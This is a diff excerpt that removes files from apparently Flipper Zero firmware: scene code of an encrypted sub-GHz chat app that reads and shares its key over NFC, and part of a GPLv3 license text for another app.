||||
|
||||
/* close the popup and go back */
|
||||
case ESubGhzChatEvent_KeyReadPopupFailed:
|
||||
if(!scene_manager_previous_scene(state->scene_manager)) {
|
||||
view_dispatcher_stop(state->view_dispatcher);
|
||||
}
|
||||
consumed = true;
|
||||
break;
|
||||
|
||||
/* success, go to frequency input */
|
||||
case ESubGhzChatEvent_KeyReadPopupSucceeded:
|
||||
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_FreqInput);
|
||||
consumed = true;
|
||||
break;
|
||||
|
||||
/* something else happend, treat as failure */
|
||||
default:
|
||||
key_read_popup_set_state(state, KeyReadPopupState_Fail);
|
||||
consumed = true;
|
||||
break;
|
||||
}
|
||||
|
||||
break;
|
||||
|
||||
default:
|
||||
consumed = false;
|
||||
break;
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
/* Cleans up the key read popup scene. */
|
||||
void scene_on_exit_key_read_popup(void* context) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_key_read_popup");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
popup_reset(state->nfc_popup);
|
||||
scene_manager_set_scene_state(
|
||||
state->scene_manager, ESubGhzChatScene_KeyReadPopup, KeyReadPopupState_Idle);
|
||||
|
||||
notification_message(state->notification, &sequence_blink_stop);
|
||||
|
||||
nfc_worker_stop(state->nfc_worker);
|
||||
|
||||
crypto_explicit_bzero(state->nfc_dev_data->mf_ul_data.data, KEY_BITS / 8);
|
||||
if(state->nfc_dev_data->parsed_data != NULL) {
|
||||
furi_string_free(state->nfc_dev_data->parsed_data);
|
||||
}
|
||||
memset(state->nfc_dev_data, 0, sizeof(NfcDeviceData));
|
||||
}
|
||||
@@ -1,124 +0,0 @@
|
||||
#include "../esubghz_chat_i.h"
|
||||
#include "../helpers/nfc_helpers.h"
|
||||
|
||||
struct ReplayDictNfcWriterContext {
|
||||
uint8_t* cur;
|
||||
uint8_t* max;
|
||||
};
|
||||
|
||||
static bool replay_dict_nfc_writer(uint64_t run_id, uint32_t counter, void* context) {
|
||||
struct ReplayDictNfcWriterContext* ctx = (struct ReplayDictNfcWriterContext*)context;
|
||||
|
||||
struct ReplayDictNfcEntry entry = {.run_id = run_id, .counter = __htonl(counter), .unused = 0};
|
||||
|
||||
if(ctx->cur + sizeof(entry) > ctx->max) {
|
||||
return false;
|
||||
}
|
||||
|
||||
memcpy(ctx->cur, &entry, sizeof(entry));
|
||||
ctx->cur += sizeof(entry);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
static void prepare_nfc_dev_data(ESubGhzChatState* state) {
|
||||
NfcDeviceData* dev_data = state->nfc_dev_data;
|
||||
|
||||
dev_data->protocol = NfcDeviceProtocolMifareUl;
|
||||
furi_hal_random_fill_buf(dev_data->nfc_data.uid, 7);
|
||||
dev_data->nfc_data.uid_len = 7;
|
||||
dev_data->nfc_data.atqa[0] = 0x44;
|
||||
dev_data->nfc_data.atqa[1] = 0x00;
|
||||
dev_data->nfc_data.sak = 0x00;
|
||||
|
||||
dev_data->mf_ul_data.type = MfUltralightTypeNTAG215;
|
||||
dev_data->mf_ul_data.version.header = 0x00;
|
||||
dev_data->mf_ul_data.version.vendor_id = 0x04;
|
||||
dev_data->mf_ul_data.version.prod_type = 0x04;
|
||||
dev_data->mf_ul_data.version.prod_subtype = 0x02;
|
||||
dev_data->mf_ul_data.version.prod_ver_major = 0x01;
|
||||
dev_data->mf_ul_data.version.prod_ver_minor = 0x00;
|
||||
dev_data->mf_ul_data.version.storage_size = 0x11;
|
||||
dev_data->mf_ul_data.version.protocol_type = 0x03;
|
||||
|
||||
size_t data_written = 0;
|
||||
|
||||
/* write key */
|
||||
crypto_ctx_get_key(state->crypto_ctx, dev_data->mf_ul_data.data);
|
||||
data_written += (KEY_BITS / 8);
|
||||
|
||||
/* write frequency */
|
||||
struct FreqNfcEntry* freq_entry =
|
||||
(struct FreqNfcEntry*)(dev_data->mf_ul_data.data + data_written);
|
||||
freq_entry->frequency = __htonl(state->frequency);
|
||||
freq_entry->unused1 = 0;
|
||||
freq_entry->unused2 = 0;
|
||||
freq_entry->unused3 = 0;
|
||||
data_written += sizeof(struct FreqNfcEntry);
|
||||
|
||||
/* write the replay dict */
|
||||
struct ReplayDictNfcWriterContext wr_ctx = {
|
||||
.cur = dev_data->mf_ul_data.data + data_written,
|
||||
.max = dev_data->mf_ul_data.data + NFC_MAX_BYTES};
|
||||
|
||||
size_t n_entries =
|
||||
crypto_ctx_dump_replay_dict(state->crypto_ctx, replay_dict_nfc_writer, &wr_ctx);
|
||||
data_written += n_entries * sizeof(struct ReplayDictNfcEntry);
|
||||
|
||||
/* calculate size of data, add 16 for config pages */
|
||||
dev_data->mf_ul_data.data_size = data_written + (NFC_CONFIG_PAGES * 4);
|
||||
}
|
||||
|
||||
/* Prepares the key share popup scene. */
|
||||
void scene_on_enter_key_share_popup(void* context) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_key_share_popup");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
popup_reset(state->nfc_popup);
|
||||
|
||||
popup_disable_timeout(state->nfc_popup);
|
||||
|
||||
popup_set_header(state->nfc_popup, "Sharing...", 67, 13, AlignLeft, AlignTop);
|
||||
popup_set_icon(state->nfc_popup, 0, 3, &I_NFC_dolphin_emulation_47x61);
|
||||
popup_set_text(state->nfc_popup, "Sharing\nKey via\nNFC", 90, 28, AlignCenter, AlignTop);
|
||||
|
||||
prepare_nfc_dev_data(state);
|
||||
nfc_worker_start(
|
||||
state->nfc_worker, NfcWorkerStateMfUltralightEmulate, state->nfc_dev_data, NULL, NULL);
|
||||
|
||||
notification_message(state->notification, &sequence_blink_start_magenta);
|
||||
|
||||
view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_NfcPopup);
|
||||
}
|
||||
|
||||
/* Handles scene manager events for the key share popup scene. */
|
||||
bool scene_on_event_key_share_popup(void* context, SceneManagerEvent event) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_event_key_share_popup");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
UNUSED(state);
|
||||
UNUSED(event);
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Cleans up the key share popup scene. */
|
||||
void scene_on_exit_key_share_popup(void* context) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_key_share_popup");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
popup_reset(state->nfc_popup);
|
||||
|
||||
notification_message(state->notification, &sequence_blink_stop);
|
||||
|
||||
nfc_worker_stop(state->nfc_worker);
|
||||
|
||||
crypto_explicit_bzero(state->nfc_dev_data->mf_ul_data.data, KEY_BITS / 8);
|
||||
memset(state->nfc_dev_data, 0, sizeof(NfcDeviceData));
|
||||
}
|
||||
@@ -1,109 +0,0 @@
|
||||
#include "../esubghz_chat_i.h"
|
||||
|
||||
/* Sends PassEntered event to scene manager. */
|
||||
static void pass_input_cb(void* context) {
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
crypto_explicit_bzero(state->text_input_store, sizeof(state->text_input_store));
|
||||
|
||||
view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_PassEntered);
|
||||
}
|
||||
|
||||
/* If a password was entered this derives a key from the password using a
|
||||
* single pass of SHA256 and initiates the AES-GCM context for encryption. If
|
||||
* the initiation fails, the password is rejected. */
|
||||
static bool pass_input_validator(const char* text, FuriString* error, void* context) {
|
||||
furi_assert(text);
|
||||
furi_assert(error);
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
if(strlen(text) == 0) {
|
||||
furi_string_printf(error, "Enter a\npassword!");
|
||||
return false;
|
||||
}
|
||||
|
||||
unsigned char key[KEY_BITS / 8];
|
||||
|
||||
/* derive a key from the password */
|
||||
sha256((unsigned char*)text, strlen(text), key);
|
||||
|
||||
/* initiate the crypto context */
|
||||
bool ret = crypto_ctx_set_key(state->crypto_ctx, key, state->name_prefix, furi_get_tick());
|
||||
|
||||
/* cleanup */
|
||||
crypto_explicit_bzero(key, sizeof(key));
|
||||
|
||||
if(!ret) {
|
||||
crypto_ctx_clear(state->crypto_ctx);
|
||||
furi_string_printf(error, "Failed to\nset key!");
|
||||
return false;
|
||||
}
|
||||
|
||||
state->encrypted = true;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Prepares the password input scene. */
|
||||
void scene_on_enter_pass_input(void* context) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_pass_input");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
state->text_input_store[0] = 0;
|
||||
text_input_reset(state->text_input);
|
||||
text_input_set_result_callback(
|
||||
state->text_input,
|
||||
pass_input_cb,
|
||||
state,
|
||||
state->text_input_store,
|
||||
sizeof(state->text_input_store),
|
||||
true);
|
||||
text_input_set_validator(state->text_input, pass_input_validator, state);
|
||||
text_input_set_header_text(state->text_input, "Password");
|
||||
|
||||
view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_Input);
|
||||
}
|
||||
|
||||
/* Handles scene manager events for the password input scene. */
|
||||
bool scene_on_event_pass_input(void* context, SceneManagerEvent event) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_event_pass_input");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
bool consumed = false;
|
||||
|
||||
switch(event.type) {
|
||||
case SceneManagerEventTypeCustom:
|
||||
switch(event.event) {
|
||||
/* switch to frequency input scene */
|
||||
case ESubGhzChatEvent_PassEntered:
|
||||
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_FreqInput);
|
||||
consumed = true;
|
||||
break;
|
||||
}
|
||||
break;
|
||||
|
||||
default:
|
||||
consumed = false;
|
||||
break;
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
/* Cleans up the password input scene. */
|
||||
void scene_on_exit_pass_input(void* context) {
|
||||
FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_pass_input");
|
||||
|
||||
furi_assert(context);
|
||||
ESubGhzChatState* state = context;
|
||||
|
||||
text_input_reset(state->text_input);
|
||||
crypto_explicit_bzero(state->text_input_store, sizeof(state->text_input_store));
|
||||
}
|
||||
@@ -1,30 +0,0 @@
|
||||
#include "esubghz_chat_scene.h"
|
||||
|
||||
// Generate scene on_enter handlers array
|
||||
#define ADD_SCENE(prefix, name, id) scene_on_enter_##name,
|
||||
void (*const esubghz_chat_scene_on_enter_handlers[])(void*) = {
|
||||
#include "esubghz_chat_scene_config.h"
|
||||
};
|
||||
#undef ADD_SCENE
|
||||
|
||||
// Generate scene on_event handlers array
|
||||
#define ADD_SCENE(prefix, name, id) scene_on_event_##name,
|
||||
bool (*const esubghz_chat_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = {
|
||||
#include "esubghz_chat_scene_config.h"
|
||||
};
|
||||
#undef ADD_SCENE
|
||||
|
||||
// Generate scene on_exit handlers array
|
||||
#define ADD_SCENE(prefix, name, id) scene_on_exit_##name,
|
||||
void (*const esubghz_chat_scene_on_exit_handlers[])(void* context) = {
|
||||
#include "esubghz_chat_scene_config.h"
|
||||
};
|
||||
#undef ADD_SCENE
|
||||
|
||||
// Initialize scene handlers configuration structure
|
||||
const SceneManagerHandlers esubghz_chat_scene_event_handlers = {
|
||||
.on_enter_handlers = esubghz_chat_scene_on_enter_handlers,
|
||||
.on_event_handlers = esubghz_chat_scene_on_event_handlers,
|
||||
.on_exit_handlers = esubghz_chat_scene_on_exit_handlers,
|
||||
.scene_num = ESubGhzChatScene_MAX,
|
||||
};
|
||||
@@ -1,29 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include <gui/scene_manager.h>
|
||||
|
||||
// Generate scene id and total number
|
||||
#define ADD_SCENE(prefix, name, id) ESubGhzChatScene_##id,
|
||||
typedef enum {
|
||||
#include "esubghz_chat_scene_config.h"
|
||||
ESubGhzChatScene_MAX
|
||||
} ESubGhzChatScene;
|
||||
#undef ADD_SCENE
|
||||
|
||||
extern const SceneManagerHandlers esubghz_chat_scene_event_handlers;
|
||||
|
||||
// Generate scene on_enter handlers declaration
|
||||
#define ADD_SCENE(prefix, name, id) void scene_on_enter_##name(void*);
|
||||
#include "esubghz_chat_scene_config.h"
|
||||
#undef ADD_SCENE
|
||||
|
||||
// Generate scene on_event handlers declaration
|
||||
#define ADD_SCENE(prefix, name, id) \
|
||||
bool scene_on_event_##name(void* context, SceneManagerEvent event);
|
||||
#include "esubghz_chat_scene_config.h"
|
||||
#undef ADD_SCENE
|
||||
|
||||
// Generate scene on_exit handlers declaration
|
||||
#define ADD_SCENE(prefix, name, id) void scene_on_exit_##name(void* context);
|
||||
#include "esubghz_chat_scene_config.h"
|
||||
#undef ADD_SCENE
|
||||
@@ -1,9 +0,0 @@
|
||||
ADD_SCENE(esubghz_chat, freq_input, FreqInput)
|
||||
ADD_SCENE(esubghz_chat, key_menu, KeyMenu)
|
||||
ADD_SCENE(esubghz_chat, pass_input, PassInput)
|
||||
ADD_SCENE(esubghz_chat, hex_key_input, HexKeyInput)
|
||||
ADD_SCENE(esubghz_chat, key_read_popup, KeyReadPopup)
|
||||
ADD_SCENE(esubghz_chat, chat_input, ChatInput)
|
||||
ADD_SCENE(esubghz_chat, chat_box, ChatBox)
|
||||
ADD_SCENE(esubghz_chat, key_display, KeyDisplay)
|
||||
ADD_SCENE(esubghz_chat, key_share_popup, KeySharePopup)
|
||||
674
applications/external/etch_a_sketch/LICENSE
vendored
@@ -1,674 +0,0 @@
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
